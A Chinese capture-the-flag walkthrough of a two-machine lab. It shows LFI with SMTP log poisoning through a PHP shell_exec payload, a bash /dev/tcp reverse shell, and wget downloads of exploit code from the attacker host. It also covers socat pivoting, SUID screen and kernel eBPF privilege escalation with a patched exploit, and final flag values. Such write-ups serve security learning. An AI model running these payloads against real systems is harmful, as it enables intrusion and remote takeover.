1. 端口扫描与服务探测

使用 Nmap 对目标靶机进行全端口激进扫描:

1
nmap -p- -sV -Pn -T5 -v -A --script=vuln 192.168.56.111
参数 含义 作用与分析
-p- 等同于 -p 1-65535 扫描全部 65535 个 TCP 端口,避免遗漏非标准端口
-sV 版本探测 识别服务名和版本号(如 Apache httpd 2.4.25),作为查找 CVE 的依据
-Pn 跳过主机发现 直接假定目标存活,防止目标丢弃 ICMP 导致误判
-T5 激进时间模板 最激进的超时配置,速度极快
-v 详细模式 实时输出发现的端口与扫描进度
-A 综合扫描 包含操作系统指纹、版本探测、默认 NSE 脚本和路由追踪
--script=vuln 运行 NSE 漏洞脚本 运行 vuln 分类的全部脚本,探测常见已知漏洞

2. Web 枚举与敏感路径发现

首先访问 80 端口页面:

image-20261024142447025

接着访问 3000 端口服务:

image-20261024142500714

页面提示 admin 登录:

image-20261024142515226

点击跟随指引:

image-20261024142529819

获取到了 80 端口下的路径提示:

image-20261024142544433

访问该路径并提交参数查看响应:

image-20261024142603785

image-20261024142631107

这里存在明显的文件包含(LFI)与目录穿越特征。


3. SMTP 日志投毒与本地文件包含(LFI)

发现 25 端口运行的是 Postfix SMTP 邮件服务,尝试通过包含邮件日志测试:

1
http://192.168.197.144/turing-bolo/bolo.php?bolo=../../../../var/log/mail

成功读取到了 /var/log/mail 日志文件内容:

image-20261024142859846

接下来通过 SMTP 日志投毒,将恶意 PHP 代码注入日志中,结合 LFI 实现命令执行。

查看端口连接状态并交互投毒:

1
nc -nv 192.168.197.144 25

投毒交互过程:

1
2
3
4
5
6
7
HELO x
MAIL FROM: "x <?php echo shell_exec($_GET['cmd']);?>"
RCPT TO: root
DATA
test
.
QUIT

SMTP 协议交互解析

输入命令 含义 服务端响应
HELO x 握手自我介绍 250 接受,可以继续
MAIL FROM: "x <?php ... ?>" 信封发件人 250 接受,记下发件人(原样写入日志)
RCPT TO: root 信封收件人 250 接受,准备投递
DATA 开始编写正文 354 开始输入,以单行 . 结束
test 邮件正文 无回显
. 正文结束标记 250 Ok: queued 入队成功
QUIT 结束会话 221 Bye

Postfix 会将信封发件人原样记录在日志中:

1
Oct 24 14:35:12 straylight postfix/qmgr[785]: 629AC537F: from=<x <?php echo shell_exec($_GET['cmd']);?>@straylight>, ...

验证代码是否注入成功并执行命令:

1
curl -s "http://192.168.197.144/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd=id" | grep 'uid='

image-20261024151345625

成功执行后反弹 Shell:

image-20261024151428097


4. 第一阶段提权(Straylight 靶机)

获取目标靶机基础信息:

1
2
3
id; hostname
uname -a
cat /etc/os-release | head -3

检查 SUID 提权路径:

1
2
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

检查计划任务与运行环境:

1
2
3
4
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
ls -la /home /opt /srv 2>/dev/null
ps aux | head -25

发现存在具有 SUID 权限的 /bin/screen-4.5.0,在 Kali 中使用 Searchsploit 检索漏洞:

image-20261024152354728

image-20261024152411602

下载利用脚本 POC:

1
wget http://192.168.197.142:8888/41154.sh -O /tmp/41154.sh

image-20261024153407376

生成完整交互式 PTY Shell:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20261024153435770

执行提权脚本:

image-20261024153606802

查看第一阶段 Flag:

image-20261024153759398

查看提示文本 note.txt:

image-20261024154105251


5. 内网横向移动与端口转发

上传 fscan 扫描内网网段:

1
./fscan -h 192.168.40.0/24 -np -nobr -nopoc -o /tmp/fscan_out.txt

参数说明:-np 跳过 ping 直接扫;-nobr 关闭弱口令爆破;-nopoc 关闭漏洞 POC;-o 输出结果到文件。

image-20261024154751165

image-20261024155424063

扫描发现内网主机 192.168.40.130 开放了 8080: Apache Tomcat/9.0.0.M26。

使用 socat 进行端口转发:

image-20261024160249314

在本地浏览器访问映射后的地址:

1
http://192.168.197.144:8080/struts2_2.3.15.1-showcase/showcase.jsp

image-20261024160451159

确认目标为 Struts2 架构:

image-20261024162001813

构建内网反向连接拓扑:

1
Neuromancer ──► 192.168.40.131:6666 (Straylight) ──socat──► 192.168.197.142:6666 (Kali)

在 Straylight 上通过 socat 把反弹端口映射给 Kali:

1
nohup socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.197.142:6666 >/dev/null 2>&1 &

Kali 监听 6666 端口:

image-20261024162352489

目标机执行反弹 Shell 命令:

1
bash -i >& /dev/tcp/192.168.40.131/6666 0>&1

成功接收 Shell:

image-20261024162332079


6. 内核提权与最终夺旗

查看目标 Linux 内核版本:

image-20261024163103993

检索对应版本的内核提权漏洞:

image-20261024163140198

进行 GCC 编译:

image-20261024163232250

在中间跳板机上开启端口转发通道,便于内网靶机拉取编译文件:

1
nohup socat TCP-LISTEN:1234,fork,reuseaddr TCP:192.168.197.142:1234 >/dev/null 2>&1 &

image-20261024163554403

内网机器拉取二进制:

1
wget http://192.168.40.131:1234/44298 -O /tmp/44298

image-20261024164011734

运行遇到权限与环境阻碍:

image-20261024164311778

升级 Shell 并排查:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

换用 45010 漏洞版本:

image-20261024165401615

image-20261024165522246

image-20261024165827796

内核 4.4 检查属性与补丁修复

Linux 内核 4.4 在命令入口处存在 CHECK_ATTR 宏:

1
2
3
#define CHECK_ATTR(CMD) \
memchr_inv((void*)&attr->CMD##_LAST_FIELD + sizeof(...), 0, \
sizeof(*attr) - offsetof(...) - sizeof(...)) != NULL

该宏强制要求 union bpf_attr 结构中不属于当前命令的字节必须全为 0。如果直接写 union bpf_attr attr = { .map_type = ..., },只会初始化前面部分,剩余字节为栈上随机值,内核检查会直接报 EINVAL 导致利用失败。

在 Kali 上编写补丁脚本修复 45010 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cd ~/Desktop
python3 - <<'PY'
import re
src = open('45010.c').read()

def fix(m):
lines = []
for line in m.group(1).splitlines():
s = line.strip()
if not s:
continue
if s.endswith(','):
s = s[:-1]
s = re.sub(r'^\.', 'attr.', s)
lines.append(' ' + s + ';')
head = ('union bpf_attr attr;\n'
'\tmemset(&attr, 0, sizeof(attr));\n')
return head + '\n'.join(lines)

pat = re.compile(r'union bpf_attr attr = \{\s*\n(.*?)\n\s*\};', re.S)
new, n = pat.subn(fix, src)
print('patched blocks:', n)
open('45010_fixed.c', 'w').write(new)
PY

重新编译后下载到内网机器并执行:

1
2
3
4
wget http://192.168.40.131:1234/45010_v44b -O /tmp/45010_v44b
chmod +x /tmp/45010_v44b
python3 -c 'import pty; pty.spawn("/bin/bash")'
/tmp/45010_v44b

image-20261024170453224

成功获取 Root 权限与最终 Flag:

1
2
5ed185fd75a8d6a7056c96a436c6d8aa
be3306f431dae5ebc93eebb291f4914a